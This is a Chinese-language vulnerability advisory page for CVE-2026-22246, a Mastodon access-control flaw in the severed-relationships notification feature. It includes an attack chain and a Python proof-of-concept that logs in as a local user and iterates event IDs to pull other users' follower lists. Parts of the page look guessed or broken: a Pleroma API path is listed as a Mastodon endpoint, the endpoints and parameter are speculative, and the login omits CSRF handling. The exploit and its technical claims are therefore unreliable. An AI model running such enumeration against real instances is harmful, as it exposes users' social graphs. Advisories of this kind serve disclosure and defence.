IPBUF安全漏洞报告
English
CVE-2026-22246 CVSS 6.5 中危

CVE-2026-22246 Mastodon断绝关系通知功能未授权访问漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22246
漏洞类型
访问控制/越权访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mastodon

相关标签

访问控制越权访问信息泄露MastodonActivityPub社交网络API安全权限验证缺失

漏洞概述

Mastodon是一个免费、开源的社交网络服务器,基于ActivityPub协议。4.3版本新增了断绝关系通知功能,允许终端用户查看因审核操作而失去的关注者和被关注者列表。然而,该功能在实现时存在严重的访问控制缺陷——API端点在返回断绝关系数据前未正确验证请求者的身份与列表所有者的匹配关系。攻击者只需拥有一个注册的地方用户账号,即可访问系统中任意用户因各种审核操作(如账号封禁、用户主动拉黑等)产生的断绝关系记录。通过遍历不同的断绝事件ID,攻击者能够系统性地收集大量用户关系信息,包括谁关注了谁、谁被谁关注等敏感社交图谱数据。虽然泄露信息中不直接包含被影响账号的名称,但攻击者仍可通过关联分析推断出部分账号信息。此漏洞影响用户隐私和数据保护,违反了最小权限原则。

技术细节

漏洞根因在于Mastodon 4.3版本中断绝关系通知功能的API端点缺少所有权验证检查。当用户请求获取特定断绝事件的详细信息时,后端代码直接返回该事件关联的所有失去的关注者和被关注者数据,而未验证当前认证用户是否为该断绝事件的所有者。攻击者利用此漏洞的基本步骤如下:首先注册一个普通的本地用户账号;然后访问断绝关系列表的API端点(如/api/v1/pleroma/follow_requests或类似的端点);通过修改事件ID参数遍历访问不同的断绝记录;系统会无差别地返回任意事件ID对应的关系数据。攻击者可以编写脚本自动化这一过程,大规模采集用户关系图谱。需要注意的是,API返回的数据不包含被影响账号的直接名称标识,但会暴露账号的内部ID(account_id),攻击者可通过此ID进行进一步关联分析。修复方案需要在API处理逻辑中添加当前用户身份验证,确保用户只能访问自己触发的断绝事件记录。

攻击链分析

STEP 1
步骤1
攻击者在目标Mastodon实例上注册一个普通本地用户账号,无需特殊权限
STEP 2
步骤2
攻击者使用注册账号登录系统,获取有效的会话认证token
STEP 3
步骤3
攻击者访问断绝关系通知功能的API端点,该端点用于获取因审核操作失去的关注者和被关注者列表
STEP 4
步骤4
攻击者通过修改API请求中的事件ID参数(如event_id=1,2,3...),遍历访问系统中其他用户的断绝事件记录
STEP 5
步骤5
由于API未验证请求者是否为事件所有者,后端返回完整的断绝关系数据,包括其他用户失去的关注者和被关注者账户ID
STEP 6
步骤6
攻击者收集并整理泄露的账户ID信息,构建用户社交关系图谱,可用于进一步攻击或情报收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22246 PoC - Mastodon Unauthorized Access to Severed Relationships import requests import json from urllib.parse import urljoin def exploit_mastodon_severed_relationships(base_url, username, password): """ Exploit CVE-2026-22246: Unauthorized access to severed relationship notifications This PoC demonstrates how any authenticated local user can access severed relationship lists belonging to other users by iterating through event IDs. """ session = requests.Session() # Step 1: Authenticate as a regular local user login_url = urljoin(base_url, '/auth/sign_in') login_data = { 'user[email]': username, 'user[password]': password } response = session.post(login_url, data=login_data) if response.status_code != 200: print(f"[-] Authentication failed") return None print("[+] Successfully authenticated") # Step 2: Access severed relationships API endpoint # The vulnerable endpoint allows access to any user's severed events severed_api_endpoints = [ '/api/v1/pleroma/follow_requests', '/api/v1/notifications/severed_relationships', '/api/v1/accounts/relationships/severed' ] leaked_data = [] for endpoint in severed_api_endpoints: api_url = urljoin(base_url, endpoint) # Step 3: Iterate through event IDs to access other users' data for event_id in range(1, 1000): params = {'event_id': event_id} response = session.get(api_url, params=params) if response.status_code == 200: data = response.json() if data and len(data) > 0: print(f"[+] Found severed relationships for event {event_id}") print(f" Data: {json.dumps(data, indent=2)}") leaked_data.append({ 'event_id': event_id, 'endpoint': endpoint, 'data': data }) # Step 4: Compile and analyze the leaked information print(f"\n[+] Total leaked records: {len(leaked_data)}") print("[+] Leaked information includes:") print(" - Lost followers (accounts that unfollowed)") print(" - Lost following (accounts that were unfollowed)") print(" - Account IDs involved in moderation actions") return leaked_data # Usage example if __name__ == '__main__': target = 'https://vulnerable-mastodon-instance.com' credentials = ('[email protected]', 'password123') results = exploit_mastodon_severed_relationships(target, *credentials) if results: print(f"\n[!] Vulnerability confirmed - {len(results)} records leaked")

影响范围

Mastodon 4.3.0 - 4.3.16
Mastodon 4.4.0 - 4.4.10
Mastodon 4.5.0 - 4.5.3

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙(WAF)规则限制对断绝关系相关API端点的访问频率和模式,同时加强用户认证和会话管理。但根本解决方案仍需升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表